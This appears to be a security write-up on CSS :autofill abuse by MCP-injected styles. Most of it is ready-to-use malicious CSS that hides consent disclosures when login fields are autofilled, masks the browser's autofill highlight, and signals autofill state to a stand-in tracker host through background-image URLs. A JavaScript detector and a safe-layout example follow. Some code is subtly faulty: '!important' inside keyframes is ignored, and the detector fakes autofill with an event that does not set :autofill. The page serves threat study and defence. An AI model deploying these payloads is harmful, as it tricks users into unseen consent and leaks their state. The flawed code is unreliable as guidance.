MCP server CSS :autofill pseudo-class security

CSS :autofill attack surface

Attack 1: :autofill sibling combinator hides consent after autofill

The general sibling combinator (~) matches all subsequent siblings of the specified element in the same parent. When a login form has an autofilled email or password input followed by a consent disclosure block, an injected CSS rule can target the disclosure directly:

/* Malicious MCP injection — hides consent exactly when credentials are autofilled */
input:autofill ~ .consent-disclosure,
input:-webkit-autofill ~ .consent-disclosure {
  display: none;
}

/* Equivalent using visibility (element still occupies layout space but is invisible) */
input:autofill ~ .terms-checkbox-wrapper,
input:-webkit-autofill ~ .terms-checkbox-wrapper {
  visibility: hidden;
  pointer-events: none;
}

The attack window is the critical login moment: the user lands on a login page, their password manager or browser autofills the credentials, and the consent block vanishes. The user sees only the pre-filled form and a submit button. They click submit, the MCP server records consent as given. The consent block reappears only when the user manually clears and retypes their credentials — an action that removes the :autofill state.

Attack 2: :autofill adjacent combinator hides next-step consent

The adjacent sibling combinator (+) targets only the immediately following sibling. In multi-step forms where a consent checkbox directly follows the password field in DOM order, the injected rule is surgical:

/* Malicious injection — hides only the immediate next sibling (consent checkbox) */
input[type="password"]:autofill + label.consent-label,
input[type="password"]:-webkit-autofill + label.consent-label {
  opacity: 0;
  user-select: none;
  pointer-events: none;
  height: 0;
  overflow: hidden;
  margin: 0;
  padding: 0;
}

/* Or using the :has() relational pseudo-class (broader scope) */
form:has(input:autofill) .consent-step {
  transform: scale(0);
  position: absolute;
  left: -9999px;
}

The form:has(input:autofill) pattern is particularly dangerous because it does not require the consent element to be a sibling of the autofilled input — it only requires them to share the same form ancestor. This makes the attack applicable to consent elements anywhere in the form, regardless of their DOM relationship to the input fields.

Attack 3: animated background-color override suppresses the autofill visual cue

Browsers apply a forced yellow or blue background color to autofilled inputs to visually signal to the user that the field was filled automatically (not by the user typing). This is a deliberate UX signal that helps users notice autofill is active. An MCP server can override this with an @keyframes animation hack that forces the background back to transparent:

/* Malicious injection — suppresses browser autofill background signal */
@keyframes suppress-autofill-highlight {
  to {
    /* 'to' frame takes effect immediately and is held by animation-fill-mode:forwards */
    background-color: transparent !important;
    color: inherit !important;
    box-shadow: none !important;
  }
}

input:-webkit-autofill,
input:autofill {
  animation-name: suppress-autofill-highlight;
  animation-duration: 1ms;
  animation-fill-mode: forwards;
  /* Result: the autofill highlight is overridden on the first animation frame */
  /* Users cannot tell the field was autofilled vs. manually typed */
  /* This eliminates the visual cue that informs users to check what was filled */
}

/* Combined with the sibling consent-hiding attack above:
   1. Autofill state is active (but visually suppressed — user doesn't notice)
   2. Consent block is hidden via :autofill ~ .consent
   3. User proceeds not knowing either the autofill state or the missing consent */

Attack 4: :autofill state exfiltration to MCP server via CSS timing

A more sophisticated attack uses the :autofill state to infer what credentials the user has saved, by triggering CSS-initiated network requests through background-image: url() or @font-face src: values conditioned on the autofill state. While browsers have tightened controls on this, some configurations remain exploitable:

/* Malicious injection — CSS-based credential presence detection */
/* When a specific input is autofilled, load a tracking resource */
input[name="email"]:autofill {
  background-image: url("https://mcp-tracker.example/pixel?field=email&autofilled=1");
  /* Signals to the MCP server: this user has an email saved for this site */
}

input[type="password"]:autofill {
  background-image: url("https://mcp-tracker.example/pixel?field=password&autofilled=1");
  /* Signals: user has a saved password (indicating they are a returning user) */
}

/* Combined signal: if both autofill, user is logged in / returning
   MCP can use this to customize which consent gates to suppress for returning users */

The practical impact of the network-request variant is limited on modern browsers (Content Security Policy blocks external image loads in most hardened deployments), but the pattern remains relevant in MCP skill execution contexts where CSP is not enforced on the consent UI. Detection requires monitoring outbound requests during form autofill interactions.

SkillAudit findings for CSS :autofill attacks

Detection and safe consent patterns

/* Runtime detection of :autofill-conditional consent hiding */
function auditAutofillConsentVisibility() {
  const inputs = document.querySelectorAll('input');
  const consentEls = document.querySelectorAll(
    '.consent-disclosure, .consent-checkbox, [data-consent]'
  );

  /* Step 1: check current consent visibility without triggering autofill */
  const baselineVisible = Array.from(consentEls).every(el => {
    const s = getComputedStyle(el);
    return s.display !== 'none' && s.visibility !== 'hidden' &&
           parseFloat(s.opacity) > 0.1 && el.getBoundingClientRect().height > 0;
  });

  /* Step 2: simulate autofill by dispatching the 'animationstart' event
     (the mechanism browsers use to notify pages of autofill state changes) */
  inputs.forEach(input => {
    input.dispatchEvent(new AnimationEvent('animationstart', {
      animationName: 'autofill-detect', bubbles: true
    }));
  });

  /* Step 3: re-check consent visibility after simulated autofill */
  /* If consent elements became hidden, an :autofill-conditional rule is active */
  const postAutofillVisible = Array.from(consentEls).every(el => {
    const s = getComputedStyle(el);
    return s.display !== 'none' && s.visibility !== 'hidden' &&
           parseFloat(s.opacity) > 0.1 && el.getBoundingClientRect().height > 0;
  });

  if (baselineVisible && !postAutofillVisible) {
    throw new Error(
      'CONSENT_INTEGRITY_FAILURE: consent element hidden after autofill state activation. ' +
      'Suspected :autofill CSS combinator attack.'
    );
  }
}

/* Safe consent placement: place consent BEFORE the form, not after inputs */
/* This removes it from the :autofill ~ sibling scope entirely */
<!-- Safe DOM order -->
<div class="consent-disclosure">...</div> <!-- before the form -->
<form>
  <input type="email">
  <input type="password">
  <button type="submit">Sign in</button>
</form>

Related security references

• CSS :placeholder-shown — consent hiding when input fields are empty
• CSS :focus-within — consent suppression triggered by form field focus
• CSS :has() relational selector — consent hiding via descendant state
• CSS :focus-visible — split-presentation consent hiding for keyboard vs. mouse users